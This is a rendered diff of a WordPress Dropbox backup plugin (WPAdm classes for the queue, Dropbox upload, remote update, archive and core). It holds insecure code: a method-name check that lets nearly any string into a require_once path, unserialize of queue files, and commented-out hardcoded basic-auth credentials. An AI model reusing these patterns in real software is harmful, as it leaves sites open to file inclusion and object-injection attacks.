$queue = unserialize(file_get_contents($this->queue_file));
|
59 |
-
//WPAdm_Core::log(print_r($queue, true));
|
60 |
$this->id = $queue['id'];
|
61 |
$this->step = (isset($queue['step']) && (int)$queue['step'] > 1) ? (int)$queue['step']+1 : 1;
|
62 |
$this->contexts = $queue['contexts'];
|
@@ -65,27 +62,24 @@ if (!class_exists('WPAdm_Method_Queue_Controller')) {
|
|
65 |
|
66 |
public function getResult()
|
67 |
{
|
68 |
-
// пока время не закончилось и есть задачи - выполняем
|
69 |
while(!$this->timeIsOver() && $context = $this->getNextContext()) {
|
70 |
$com = $context->get('command');
|
71 |
$cmd = WPAdm_Command_Factory::getCommand($com);
|
72 |
if ($cmd === null) {
|
73 |
-
$this->result->setError('
|
74 |
$this->result->setResult(WPAdm_Result::WPADM_RESULT_ERROR);
|
75 |
array_unshift($this->contexts, $context);
|
76 |
$this->done();
|
77 |
return $this->result;
|
78 |
} elseif (!$cmd->execute($context)) {
|
79 |
-
$this->result->setError('
|
80 |
$this->result->setResult(WPAdm_Result::WPADM_RESULT_ERROR);
|
81 |
array_unshift($this->contexts, $context);
|
82 |
$this->done();
|
83 |
return $this->result;
|
84 |
} else {
|
85 |
-
|
86 |
-
//WPAdm_Core::log("Команда выполнена: {$com}");
|
87 |
}
|
88 |
-
//продолжаем работу
|
89 |
}
|
90 |
|
91 |
if ($this->step >= self::MAX_COUNT_STEPS) {
|
@@ -124,7 +118,6 @@ if (!class_exists('WPAdm_Method_Queue_Controller')) {
|
|
124 |
}
|
125 |
|
126 |
private function restart() {
|
127 |
-
$this->log('restart(' . $this->step .'): ' . $this->id);
|
128 |
$this->step ++;
|
129 |
$url = get_option('siteurl');
|
130 |
$pu = parse_url($url);
|
@@ -139,13 +132,9 @@ if (!class_exists('WPAdm_Method_Queue_Controller')) {
|
|
139 |
'sign' => '',
|
140 |
|
141 |
);
|
142 |
-
|
143 |
-
*
|
144 |
-
* request to itself to predict multitasking
|
145 |
-
*
|
146 |
-
*/
|
147 |
$socket = fsockopen($host, 80, $errno, $errstr, 30);
|
148 |
-
|
149 |
$dp = explode(DIRECTORY_SEPARATOR,dirname(dirname(__FILE__)));
|
150 |
$pl = array_pop($dp) . '_';
|
151 |
// $data = 'wpadm_'.$pl.'request='.base64_encode(serialize($data));
|
46 |
private $id = '';
|
47 |
|
48 |
public function __construct($params) {
|
|
|
49 |
$this->stime = time();
|
50 |
parent::__construct($params);
|
51 |
$this->queue_file = WPAdm_Core::getTmpDir() . '/' . $this->params['id'] . '.queue';
|
53 |
$this->log("queue-file not exists: {$this->queue_file}");
|
54 |
exit;
|
55 |
}
|
|
|
56 |
$queue = unserialize(file_get_contents($this->queue_file));
|
|
|
57 |
$this->id = $queue['id'];
|
58 |
$this->step = (isset($queue['step']) && (int)$queue['step'] > 1) ? (int)$queue['step']+1 : 1;
|
59 |
$this->contexts = $queue['contexts'];
|
62 |
|
63 |
public function getResult()
|
64 |
{
|
|
|
65 |
while(!$this->timeIsOver() && $context = $this->getNextContext()) {
|
66 |
$com = $context->get('command');
|
67 |
$cmd = WPAdm_Command_Factory::getCommand($com);
|
68 |
if ($cmd === null) {
|
69 |
+
$this->result->setError( langWPADM::get('Website "%d" returned an error: Command "%com" not found. To solve this problem, we need to access the system logs of your hosting/server and/or from your backup, that you tried to create or simply send to us your FTP access data. You can send to us support request using "Help" button on plugin page.', false, array('%d', '%com'), array(SITE_HOME, $com ) ) );
|
70 |
$this->result->setResult(WPAdm_Result::WPADM_RESULT_ERROR);
|
71 |
array_unshift($this->contexts, $context);
|
72 |
$this->done();
|
73 |
return $this->result;
|
74 |
} elseif (!$cmd->execute($context)) {
|
75 |
+
$this->result->setError( langWPADM::get('Website "%d" returned some unknown error during command "%com" was running. To solve this problem, we need to access the system logs of your hosting/server and/or from your backup, that you tried to create or simply send to us your FTP access data. You can send to us support request using "Help" button on plugin page.', false, array('%d', '%com'), array(SITE_HOME, $com ) ) );
|
76 |
$this->result->setResult(WPAdm_Result::WPADM_RESULT_ERROR);
|
77 |
array_unshift($this->contexts, $context);
|
78 |
$this->done();
|
79 |
return $this->result;
|
80 |
} else {
|
81 |
+
|
|
|
82 |
}
|
|
|
83 |
}
|
84 |
|
85 |
if ($this->step >= self::MAX_COUNT_STEPS) {
|
118 |
}
|
119 |
|
120 |
private function restart() {
|
|
|
121 |
$this->step ++;
|
122 |
$url = get_option('siteurl');
|
123 |
$pu = parse_url($url);
|
132 |
'sign' => '',
|
133 |
|
134 |
);
|
135 |
+
|
|
|
|
|
|
|
|
|
136 |
$socket = fsockopen($host, 80, $errno, $errstr, 30);
|
137 |
+
// $pl = (defined('WPADM_PLUGIN')) ? WPADM_PLUGIN . '_' : '';
|
138 |
$dp = explode(DIRECTORY_SEPARATOR,dirname(dirname(__FILE__)));
|
139 |
$pl = array_pop($dp) . '_';
|
140 |
// $data = 'wpadm_'.$pl.'request='.base64_encode(serialize($data));
|
methods/class-wpadm-method-send-to-dropbox.php
CHANGED
@@ -1,13 +1,13 @@
|
|
1 |
<?php
|
2 |
/**
|
3 |
-
|
4 |
-
|
5 |
-
|
6 |
if (!class_exists('WPadm_Method_Send_To_Dropbox')) {
|
7 |
class WPadm_Method_Send_To_Dropbox extends WPAdm_Method_Class {
|
8 |
/**
|
9 |
-
|
10 |
-
|
11 |
private $queue;
|
12 |
|
13 |
private $id;
|
@@ -21,44 +21,86 @@ if (!class_exists('WPadm_Method_Send_To_Dropbox')) {
|
|
21 |
|
22 |
$this->result->setResult(WPAdm_Result::WPADM_RESULT_SUCCESS);
|
23 |
$this->result->setError('');
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
24 |
|
25 |
$this->queue = new WPAdm_Queue($this->id);
|
26 |
|
27 |
$ad = $this->params['access_details'];
|
28 |
-
WPAdm_Core::log('Copying of Files to Dropbox');
|
29 |
$this->queue->clear();
|
30 |
$files = $this->params['files'];
|
31 |
//$this->getResult()->setData($files);
|
32 |
|
33 |
$dir = (isset($ad['dir'])) ? $ad['dir'] : '/';
|
34 |
-
|
35 |
-
|
36 |
-
$
|
37 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
38 |
->addParam('key', $ad['key'])
|
39 |
->addParam('secret', $ad['secret'])
|
40 |
->addParam('token', $ad['token'])
|
41 |
-
->addParam('folder_project'
|
42 |
->addParam('folder', $dir)
|
43 |
->addParam('files', ABSPATH . $file);
|
44 |
-
|
45 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
46 |
}
|
47 |
-
$res
|
48 |
-
->
|
49 |
-
|
50 |
-
WPAdm_Core::log('Dropbox: ' . $this->queue->getError());
|
51 |
-
$errors[] = 'Dropbox: '.$this->queue->getError();
|
52 |
}
|
53 |
-
|
54 |
if (count($errors) > 0) {
|
55 |
$this->result->setError(implode("\n", $errors));
|
56 |
$this->result->setResult(WPAdm_Result::WPADM_RESULT_ERROR);
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
57 |
}
|
58 |
|
59 |
return $this->result;
|
60 |
-
|
61 |
-
|
62 |
}
|
63 |
|
64 |
private function init(array $conf) {
|
1 |
<?php
|
2 |
/**
|
3 |
+
* Бэкап сайта
|
4 |
+
* Class WPadm_Method_Send_To_Dropbox
|
5 |
+
*/
|
6 |
if (!class_exists('WPadm_Method_Send_To_Dropbox')) {
|
7 |
class WPadm_Method_Send_To_Dropbox extends WPAdm_Method_Class {
|
8 |
/**
|
9 |
+
* @var WPAdm_Queue
|
10 |
+
*/
|
11 |
private $queue;
|
12 |
|
13 |
private $id;
|
21 |
|
22 |
$this->result->setResult(WPAdm_Result::WPADM_RESULT_SUCCESS);
|
23 |
$this->result->setError('');
|
24 |
+
if (isset($this->params['local']) && $this->params['local']) {
|
25 |
+
$params_data_cron = WPAdm_Running::getCommandResultData('local_backup');
|
26 |
+
$this->params['files'] = $params_data_cron['data'];
|
27 |
+
$this->params['access_details']['dir'] = $params_data_cron['name'];
|
28 |
+
WPAdm_Core::log( langWPADM::get('' , false) );
|
29 |
+
}
|
30 |
+
|
31 |
|
32 |
$this->queue = new WPAdm_Queue($this->id);
|
33 |
|
34 |
$ad = $this->params['access_details'];
|
|
|
35 |
$this->queue->clear();
|
36 |
$files = $this->params['files'];
|
37 |
//$this->getResult()->setData($files);
|
38 |
|
39 |
$dir = (isset($ad['dir'])) ? $ad['dir'] : '/';
|
40 |
+
//$dir = trim($dir, '/') . '/' . $this->name;
|
41 |
+
if (is_array($files)) {
|
42 |
+
$send = false;
|
43 |
+
|
44 |
+
foreach($files as $file) {
|
45 |
+
if (isset($this->params['local']) && $this->params['local']) {
|
46 |
+
$data_command = WPAdm_Running::getCommandResultData('command_dropbox');
|
47 |
+
$data_error_command = WPAdm_Running::getCommandResultData('errors_sending');
|
48 |
+
if (isset($data_error_command[ABSPATH . $file]) && $data_error_command[ABSPATH . $file]['count'] > WPADM_COUNT_LIMIT_SEND_TO_DROPBOX) {
|
49 |
+
$msg = langWPADM::get('Not perhaps sending file: "%file%". If you wish make upload file, increase execution time code or speed internet provider is small for upload file.' , false, '%file%', $file);
|
50 |
+
WPAdm_Core::log( $msg );
|
51 |
+
$errors[] = $msg;
|
52 |
+
break;
|
53 |
+
}
|
54 |
+
if ( !empty($data_command) && in_array(ABSPATH . $file, $data_command) ) {
|
55 |
+
continue;
|
56 |
+
}
|
57 |
+
}
|
58 |
+
$commandContext = new WPAdm_Command_Context();
|
59 |
+
$commandContext->addParam('command', 'send_to_dropbox')
|
60 |
->addParam('key', $ad['key'])
|
61 |
->addParam('secret', $ad['secret'])
|
62 |
->addParam('token', $ad['token'])
|
63 |
+
->addParam('folder_project', $ad['folder'])
|
64 |
->addParam('folder', $dir)
|
65 |
->addParam('files', ABSPATH . $file);
|
66 |
+
if (isset($this->params['local']) && $this->params['local']) {
|
67 |
+
$commandContext->addParam('local', true);
|
68 |
+
}
|
69 |
+
$this->queue->add($commandContext);
|
70 |
+
unset($commandContext);
|
71 |
+
$send = true;
|
72 |
+
}
|
73 |
+
}
|
74 |
+
if ($send) {
|
75 |
+
WPAdm_Core::log( langWPADM::get('Start copy to Dropbox Cloud' , false) );
|
76 |
+
$res = $this->queue->save()->execute();
|
77 |
+
WPAdm_Core::log( langWPADM::get('End Copy Files to Dropbox' , false) );
|
78 |
}
|
79 |
+
if (isset($res) && !$res) {
|
80 |
+
WPAdm_Core::log(langWPADM::get('Answer from Dropbox ' , false) . $this->queue->getError());
|
81 |
+
$errors[] = langWPADM::get('Answer from Dropbox ' , false) . $this->queue->getError();
|
|
|
|
|
82 |
}
|
83 |
+
|
84 |
if (count($errors) > 0) {
|
85 |
$this->result->setError(implode("\n", $errors));
|
86 |
$this->result->setResult(WPAdm_Result::WPADM_RESULT_ERROR);
|
87 |
+
} else {
|
88 |
+
if (class_exists('wpadm_wp_full_backup_dropbox') && !file_exists( WPAdm_Core::getTmpDir() . "/notice-star") ) {
|
89 |
+
wpadm_wp_full_backup_dropbox::setFlagToTmp( 'notice-star', time() . "_1d" );
|
90 |
+
}
|
91 |
+
if (isset($this->params['local']) && $this->params['local'] && isset($params_data_cron)) {
|
92 |
+
$this->result->setData($this->params['files']);
|
93 |
+
$this->result->setSize($params_data_cron['size']);
|
94 |
+
$this->result->setValue('md5_data', md5 ( print_r($this->result->toArray(), 1 ) ) );
|
95 |
+
$this->result->setValue('name', $params_data_cron['name']);
|
96 |
+
$this->result->setValue('time', $params_data_cron['time']);
|
97 |
+
$this->result->setValue('type', 'dropbox');
|
98 |
+
$this->result->setValue('counts', $params_data_cron['counts'] );
|
99 |
+
WPAdm_Core::rmdir( DROPBOX_BACKUP_DIR_BACKUP . "/{$params_data_cron['name']}");
|
100 |
+
}
|
101 |
}
|
102 |
|
103 |
return $this->result;
|
|
|
|
|
104 |
}
|
105 |
|
106 |
private function init(array $conf) {
|
methods/class-wpadm-method-update.php
CHANGED
@@ -13,10 +13,10 @@ if (!class_exists('WPAdm_Method_Update')) {
|
|
13 |
$n = count($this->params['files']);
|
14 |
for($i = 0; $i < $n; $i++) {
|
15 |
if ( ( $f = $this->dl($this->params['files'][$i]) ) === false ) {
|
16 |
-
$error[] = 'Error to copy file ' . $this->params['files'][$i]['file'];
|
17 |
} else {
|
18 |
if ( is_string($f) && $this->unpack($f, $this->params['files'][$i]['to']) === false ) {
|
19 |
-
$error[] = 'Error to extract file ' . $f;
|
20 |
}
|
21 |
if (file_exists($f)) {
|
22 |
unlink($f);
|
@@ -56,8 +56,9 @@ if (!class_exists('WPAdm_Method_Update')) {
|
|
56 |
$b = $file['to'];
|
57 |
}
|
58 |
if (!empty($d_)) {
|
59 |
-
|
60 |
$f = wp_remote_get($file['file'], array('headers' => $headers));
|
|
|
61 |
if (isset($f['body']) && !empty($f['body'])) {
|
62 |
file_put_contents($d_ . "/" . $b, $f['body']);
|
63 |
if (file_exists($d_ . "/" . $b)) {
|
@@ -83,10 +84,10 @@ if (!class_exists('WPAdm_Method_Update')) {
|
|
83 |
PCLZIP_OPT_REPLACE_NEWER,
|
84 |
PCLZIP_OPT_REMOVE_PATH, WPAdm_Core::$plugin_name
|
85 |
);
|
|
|
86 |
if ( $res ) {
|
87 |
return true;
|
88 |
}
|
89 |
-
WPAdm_Core::log($this->archive->errorInfo(true));
|
90 |
return false;
|
91 |
}
|
92 |
}
|
13 |
$n = count($this->params['files']);
|
14 |
for($i = 0; $i < $n; $i++) {
|
15 |
if ( ( $f = $this->dl($this->params['files'][$i]) ) === false ) {
|
16 |
+
$error[] = langWPADM::get('Error to copy file ' , false) . $this->params['files'][$i]['file'];
|
17 |
} else {
|
18 |
if ( is_string($f) && $this->unpack($f, $this->params['files'][$i]['to']) === false ) {
|
19 |
+
$error[] = langWPADM::get('Error to extract file ' , false) . $f;
|
20 |
}
|
21 |
if (file_exists($f)) {
|
22 |
unlink($f);
|
56 |
$b = $file['to'];
|
57 |
}
|
58 |
if (!empty($d_)) {
|
59 |
+
//$headers = array( 'Authorization' => 'Basic ' . base64_encode( "admin24:admin24" ) );
|
60 |
$f = wp_remote_get($file['file'], array('headers' => $headers));
|
61 |
+
WPAdm_Core::log(serialize($f));
|
62 |
if (isset($f['body']) && !empty($f['body'])) {
|
63 |
file_put_contents($d_ . "/" . $b, $f['body']);
|
64 |
if (file_exists($d_ . "/" . $b)) {
|
84 |
PCLZIP_OPT_REPLACE_NEWER,
|
85 |
PCLZIP_OPT_REMOVE_PATH, WPAdm_Core::$plugin_name
|
86 |
);
|
87 |
+
WPAdm_Core::log($this->archive->errorInfo(true));
|
88 |
if ( $res ) {
|
89 |
return true;
|
90 |
}
|
|
|
91 |
return false;
|
92 |
}
|
93 |
}
|
modules/class-wpadm-archive.php
CHANGED
@@ -1,42 +1,50 @@
|
|
1 |
-
<?php
|
2 |
-
|
3 |
-
|
4 |
-
|
5 |
-
|
6 |
-
|
7 |
-
|
8 |
-
|
9 |
-
|
10 |
-
|
11 |
-
|
12 |
-
|
13 |
-
|
14 |
-
|
15 |
-
|
16 |
-
$this->
|
17 |
-
|
18 |
-
|
19 |
-
|
20 |
-
|
21 |
-
|
22 |
-
|
23 |
-
|
24 |
-
|
25 |
-
|
26 |
-
|
27 |
-
|
28 |
-
|
29 |
-
|
30 |
-
|
31 |
-
|
32 |
-
|
33 |
-
|
34 |
-
|
35 |
-
|
36 |
-
|
37 |
-
|
38 |
-
|
39 |
-
|
40 |
-
|
41 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
42 |
}
|
1 |
+
<?php
|
2 |
+
if ( !class_exists("PclZip") ) {
|
3 |
+
require_once dirname(__FILE__) . '/pclzip.lib.php';
|
4 |
+
}
|
5 |
+
if (!class_exists('WPAdm_Archive')) {
|
6 |
+
class WPAdm_Archive {
|
7 |
+
private $remove_path = '';
|
8 |
+
private $files = array();
|
9 |
+
/**
|
10 |
+
* @var PclZip
|
11 |
+
*/
|
12 |
+
private $archive;
|
13 |
+
private $md5_file = '';
|
14 |
+
|
15 |
+
public function __construct($file, $md5_file = '') {
|
16 |
+
$this->archive = new PclZip($file);
|
17 |
+
$this->files[] = $file;
|
18 |
+
$this->md5_file = $md5_file;
|
19 |
+
}
|
20 |
+
|
21 |
+
public function add($file)
|
22 |
+
{
|
23 |
+
$this->packed($file);
|
24 |
+
}
|
25 |
+
public function packed($file)
|
26 |
+
{
|
27 |
+
ini_set("memory_limit", "256M");
|
28 |
+
if (empty($this->remove_path)) {
|
29 |
+
$this->archive->add($file);
|
30 |
+
} else {
|
31 |
+
$this->archive->add($file, PCLZIP_OPT_REMOVE_PATH, $this->remove_path);
|
32 |
+
}
|
33 |
+
$this->saveMd5($file);
|
34 |
+
}
|
35 |
+
|
36 |
+
protected function saveMd5($file) {
|
37 |
+
if ($this->md5_file) {
|
38 |
+
$files = explode(',', $file); {
|
39 |
+
foreach($files as $f) {
|
40 |
+
file_put_contents($this->md5_file, $f . "\t" . @md5_file($f) . "\t" . basename($this->archive->zipname) . "\n", FILE_APPEND);
|
41 |
+
}
|
42 |
+
}
|
43 |
+
}
|
44 |
+
}
|
45 |
+
|
46 |
+
public function setRemovePath($remove_path) {
|
47 |
+
$this->remove_path = $remove_path;
|
48 |
+
}
|
49 |
+
}
|
50 |
}
|
modules/class-wpadm-command-context.php
CHANGED
@@ -1,28 +1,32 @@
|
|
1 |
-
<?php
|
2 |
-
if (!class_exists('WPAdm_Command_Context')) {
|
3 |
-
class WPAdm_Command_Context {
|
4 |
-
private $params = array();
|
5 |
-
private $error = '';
|
6 |
-
|
7 |
-
public function addParam($key, $val)
|
8 |
-
{
|
9 |
-
$this->params[$key] = $val;
|
10 |
-
return $this;
|
11 |
-
}
|
12 |
-
|
13 |
-
public function get($key)
|
14 |
-
{
|
15 |
-
|
16 |
-
|
17 |
-
|
18 |
-
|
19 |
-
|
20 |
-
|
21 |
-
|
22 |
-
|
23 |
-
|
24 |
-
|
25 |
-
return $this
|
26 |
-
}
|
27 |
-
|
|
|
|
|
|
|
|
|
28 |
}
|
1 |
+
<?php
|
2 |
+
if (!class_exists('WPAdm_Command_Context')) {
|
3 |
+
class WPAdm_Command_Context {
|
4 |
+
private $params = array();
|
5 |
+
private $error = '';
|
6 |
+
|
7 |
+
public function addParam($key, $val)
|
8 |
+
{
|
9 |
+
$this->params[$key] = $val;
|
10 |
+
return $this;
|
11 |
+
}
|
12 |
+
|
13 |
+
public function get($key)
|
14 |
+
{
|
15 |
+
if (isset($this->params[$key])) {
|
16 |
+
return $this->params[$key];
|
17 |
+
} else {
|
18 |
+
return false;
|
19 |
+
}
|
20 |
+
}
|
21 |
+
|
22 |
+
public function setError($error)
|
23 |
+
{
|
24 |
+
$this->error = $error;
|
25 |
+
return $this;
|
26 |
+
}
|
27 |
+
|
28 |
+
public function getError() {
|
29 |
+
return $this->error;
|
30 |
+
}
|
31 |
+
}
|
32 |
}
|
class-wpadm-command.php → modules/class-wpadm-command.php
RENAMED
@@ -1,14 +1,14 @@
|
|
1 |
-
<?php
|
2 |
-
/**
|
3 |
-
* Class WPAdm_Сommand
|
4 |
-
*/
|
5 |
-
if (!class_exists('WPAdm_Сommand')) {
|
6 |
-
abstract class WPAdm_Сommand {
|
7 |
-
/**
|
8 |
-
* @param WPAdm_Command_Context $context
|
9 |
-
* @return boolean
|
10 |
-
*/
|
11 |
-
abstract function execute(WPAdm_Command_Context $context);
|
12 |
-
|
13 |
-
}
|
14 |
}
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Class WPAdm_Сommand
|
4 |
+
*/
|
5 |
+
if (!class_exists('WPAdm_Сommand')) {
|
6 |
+
abstract class WPAdm_Сommand {
|
7 |
+
/**
|
8 |
+
* @param WPAdm_Command_Context $context
|
9 |
+
* @return boolean
|
10 |
+
*/
|
11 |
+
abstract function execute(WPAdm_Command_Context $context);
|
12 |
+
|
13 |
+
}
|
14 |
}
|
class-wpadm-core.php → modules/class-wpadm-core.php
RENAMED
@@ -1,38 +1,48 @@
|
|
1 |
<?php
|
2 |
-
require_once
|
3 |
-
require_once
|
4 |
-
require_once
|
5 |
-
require_once
|
6 |
-
require_once
|
|
|
7 |
|
8 |
|
9 |
if (!class_exists('WPAdm_Core')) {
|
10 |
class WPAdm_Core {
|
11 |
|
12 |
/*
|
13 |
-
*
|
14 |
* @var array
|
15 |
*/
|
16 |
private $request = array();
|
17 |
|
18 |
/*
|
19 |
-
*
|
20 |
* @var string
|
21 |
*/
|
22 |
private $pub_key;
|
23 |
|
24 |
/*
|
25 |
-
*
|
26 |
* @var WPAdm_Result
|
27 |
*/
|
28 |
private $result;
|
29 |
|
30 |
private $plugin;
|
31 |
|
|
|
|
|
|
|
|
|
|
|
32 |
public static $pl_dir;
|
33 |
|
|
|
|
|
34 |
public static $plugin_name;
|
35 |
|
|
|
|
|
36 |
|
37 |
public function __construct(array $request, $plugin = '', $plugin_dir = '') {
|
38 |
$this->result = new WPAdm_Result();
|
@@ -41,22 +51,26 @@ if (!class_exists('WPAdm_Core')) {
|
|
41 |
$this->plugin = $plugin;
|
42 |
self::$pl_dir = $plugin_dir;
|
43 |
self::$plugin_name = $plugin;
|
44 |
-
//
|
45 |
if (!$this->auth()) {
|
46 |
return;
|
47 |
-
}
|
48 |
if ('connect' == $request['method']) {
|
49 |
$this->connect();
|
50 |
} elseif ('local' == $request['method']){
|
51 |
|
52 |
} elseif($obj = $this->getObject($request['method'], $request['params'])) {
|
53 |
-
if (
|
54 |
-
$this->
|
55 |
-
}
|
56 |
-
|
57 |
-
|
|
|
|
|
|
|
|
|
|
|
58 |
}
|
59 |
-
$this->result = $obj->getResult();
|
60 |
} else {
|
61 |
$this->result->setError('Unknown method "' . $request['method'] . '"');
|
62 |
}
|
@@ -64,7 +78,7 @@ if (!class_exists('WPAdm_Core')) {
|
|
64 |
|
65 |
|
66 |
/**
|
67 |
-
*
|
68 |
* @return string
|
69 |
*/
|
70 |
static public function getTmpDir() {
|
@@ -76,10 +90,6 @@ if (!class_exists('WPAdm_Core')) {
|
|
76 |
return $tmp_dir;
|
77 |
}
|
78 |
|
79 |
-
/**
|
80 |
-
* Возвращает путь до папки временных файлов
|
81 |
-
* @return string
|
82 |
-
*/
|
83 |
static public function getPluginDir() {
|
84 |
return self::$pl_dir;
|
85 |
}
|
@@ -90,13 +100,11 @@ if (!class_exists('WPAdm_Core')) {
|
|
90 |
* @return null|WPAdm_Method_Class
|
91 |
*/
|
92 |
private function getObject($method, $params) {
|
93 |
-
if (!preg_match("|[a-zA-Z0-9_]|", $method)) {
|
94 |
return null;
|
95 |
}
|
96 |
-
$method = mb_strtolower($method);
|
97 |
-
|
98 |
$class_file = self::$pl_dir . "/methods/class-wpadm-method-" . str_replace('_', '-', $method) . ".php";
|
99 |
-
|
100 |
if (file_exists($class_file)) {
|
101 |
require_once $class_file;
|
102 |
$tmp = explode('_', str_replace('-', '_', $method));
|
@@ -111,12 +119,21 @@ if (!class_exists('WPAdm_Core')) {
|
|
111 |
$this->getResult()->setResult(WPAdm_result::WPADM_RESULT_ERROR);
|
112 |
return null;
|
113 |
}
|
114 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
115 |
}
|
116 |
return null;
|
117 |
|
118 |
}
|
119 |
|
|
|
120 |
public static function getLog()
|
121 |
{
|
122 |
$file_log = self::getTmpDir() . '/log.log';
|
@@ -127,23 +144,23 @@ if (!class_exists('WPAdm_Core')) {
|
|
127 |
}
|
128 |
|
129 |
private function connect() {
|
130 |
-
|
131 |
add_option('wpadm_pub_key', $this->pub_key);
|
132 |
$this->result->setResult(WPAdm_Result::WPADM_RESULT_SUCCESS);
|
133 |
-
|
134 |
$sendData['system_data'] = get_system_data();
|
135 |
$data['actApi'] = 'setStats';
|
136 |
$data['site'] = get_option('siteurl');
|
137 |
$data['data'] = wpadm_pack($sendData);
|
138 |
if (!class_exists('WP_Http')) {
|
139 |
-
include_once ABSPATH.WPINC.'/class-http.php';
|
140 |
}
|
141 |
|
142 |
$remote = array();
|
143 |
$remote['body'] = $data;
|
144 |
$remote['timeout'] = 20;
|
145 |
|
146 |
-
$result = wp_remote_post(WPADM_URL_BASE, $remote);
|
147 |
}
|
148 |
public static function setPluginDIr($dir)
|
149 |
{
|
@@ -155,14 +172,16 @@ if (!class_exists('WPAdm_Core')) {
|
|
155 |
*/
|
156 |
private function auth() {
|
157 |
$this->pub_key = get_option('wpadm_pub_key');
|
158 |
-
|
|
|
159 |
return true;
|
160 |
}
|
|
|
161 |
if (empty($this->pub_key)) {
|
162 |
if ('connect' == $this->request['method']) {
|
163 |
$this->pub_key = $this->request['params']['pub_key'];
|
164 |
} else {
|
165 |
-
$this->getResult()->setError('
|
166 |
return false;
|
167 |
}
|
168 |
} elseif ('connect' == $this->request['method']) {
|
@@ -195,10 +214,18 @@ if (!class_exists('WPAdm_Core')) {
|
|
195 |
*/
|
196 |
static public function mkdir($dir) {
|
197 |
if(!file_exists($dir)) {
|
198 |
-
mkdir($dir, 0755);
|
199 |
-
|
200 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
201 |
}
|
|
|
202 |
}
|
203 |
|
204 |
/**
|
@@ -236,8 +263,10 @@ if (!class_exists('WPAdm_Core')) {
|
|
236 |
|
237 |
|
238 |
static public function log($txt, $class='') {
|
239 |
-
|
240 |
-
|
|
|
|
|
241 |
}
|
242 |
|
243 |
/**
|
@@ -254,10 +283,27 @@ if (!class_exists('WPAdm_Core')) {
|
|
254 |
if (is_dir($f)) {
|
255 |
self::rmdir($f);
|
256 |
}
|
257 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
258 |
}
|
259 |
-
|
260 |
}
|
|
|
261 |
}
|
262 |
}
|
263 |
}
|
1 |
<?php
|
2 |
+
require_once DRBBACKUP_BASE_DIR . '/modules/class-wpadm-result.php';
|
3 |
+
require_once DRBBACKUP_BASE_DIR . '/modules/class-wpadm-command.php';
|
4 |
+
require_once DRBBACKUP_BASE_DIR . '/modules/class-wpadm-command-context.php';
|
5 |
+
require_once DRBBACKUP_BASE_DIR . '/modules/class-wpadm-queue.php';
|
6 |
+
require_once DRBBACKUP_BASE_DIR . '/modules/class-wpadm-running.php';
|
7 |
+
require_once DRBBACKUP_BASE_DIR . '/modules/class-wpadm-command-factory.php';
|
8 |
|
9 |
|
10 |
if (!class_exists('WPAdm_Core')) {
|
11 |
class WPAdm_Core {
|
12 |
|
13 |
/*
|
14 |
+
* "fly" POST from server
|
15 |
* @var array
|
16 |
*/
|
17 |
private $request = array();
|
18 |
|
19 |
/*
|
20 |
+
* public key for auth
|
21 |
* @var string
|
22 |
*/
|
23 |
private $pub_key;
|
24 |
|
25 |
/*
|
26 |
+
* work result
|
27 |
* @var WPAdm_Result
|
28 |
*/
|
29 |
private $result;
|
30 |
|
31 |
private $plugin;
|
32 |
|
33 |
+
public $name = '',
|
34 |
+
$time = '';
|
35 |
+
|
36 |
+
public static $cron = true;
|
37 |
+
|
38 |
public static $pl_dir;
|
39 |
|
40 |
+
public static $error = '';
|
41 |
+
|
42 |
public static $plugin_name;
|
43 |
|
44 |
+
private static $cron_method = array('local_backup', 'send_to_dropbox', 'full_backup_dropbox');
|
45 |
+
|
46 |
|
47 |
public function __construct(array $request, $plugin = '', $plugin_dir = '') {
|
48 |
$this->result = new WPAdm_Result();
|
51 |
$this->plugin = $plugin;
|
52 |
self::$pl_dir = $plugin_dir;
|
53 |
self::$plugin_name = $plugin;
|
54 |
+
// auth request
|
55 |
if (!$this->auth()) {
|
56 |
return;
|
57 |
+
}
|
58 |
if ('connect' == $request['method']) {
|
59 |
$this->connect();
|
60 |
} elseif ('local' == $request['method']){
|
61 |
|
62 |
} elseif($obj = $this->getObject($request['method'], $request['params'])) {
|
63 |
+
if (!is_null($obj) && !is_bool($obj) && $obj->isError()) {
|
64 |
+
$this->result = $obj->get_results();
|
65 |
+
} elseif(!is_null($obj) && !is_bool($obj)) {
|
66 |
+
if (isset($obj->name)) {
|
67 |
+
$this->name = $obj->name;
|
68 |
+
}
|
69 |
+
if (isset($obj->time)) {
|
70 |
+
$this->time = $obj->time;
|
71 |
+
}
|
72 |
+
$this->result = $obj->getResult();
|
73 |
}
|
|
|
74 |
} else {
|
75 |
$this->result->setError('Unknown method "' . $request['method'] . '"');
|
76 |
}
|
78 |
|
79 |
|
80 |
/**
|
81 |
+
* return path to tmp dir
|
82 |
* @return string
|
83 |
*/
|
84 |
static public function getTmpDir() {
|
90 |
return $tmp_dir;
|
91 |
}
|
92 |
|
|
|
|
|
|
|
|
|
93 |
static public function getPluginDir() {
|
94 |
return self::$pl_dir;
|
95 |
}
|
100 |
* @return null|WPAdm_Method_Class
|
101 |
*/
|
102 |
private function getObject($method, $params) {
|
103 |
+
if (!preg_match("|[a-zA-Z0-9_\-]|", $method)) {
|
104 |
return null;
|
105 |
}
|
106 |
+
$method = mb_strtolower($method);
|
|
|
107 |
$class_file = self::$pl_dir . "/methods/class-wpadm-method-" . str_replace('_', '-', $method) . ".php";
|
|
|
108 |
if (file_exists($class_file)) {
|
109 |
require_once $class_file;
|
110 |
$tmp = explode('_', str_replace('-', '_', $method));
|
119 |
$this->getResult()->setResult(WPAdm_result::WPADM_RESULT_ERROR);
|
120 |
return null;
|
121 |
}
|
122 |
+
if (in_array( strtolower( $method ), self::$cron_method) && self::$cron) {
|
123 |
+
WPAdm_Running::setCommand( strtolower($this->request['method']), $params );
|
124 |
+
WPAdm_Running::run();
|
125 |
+
self::$cron = true;
|
126 |
+
return true;
|
127 |
+
} else {
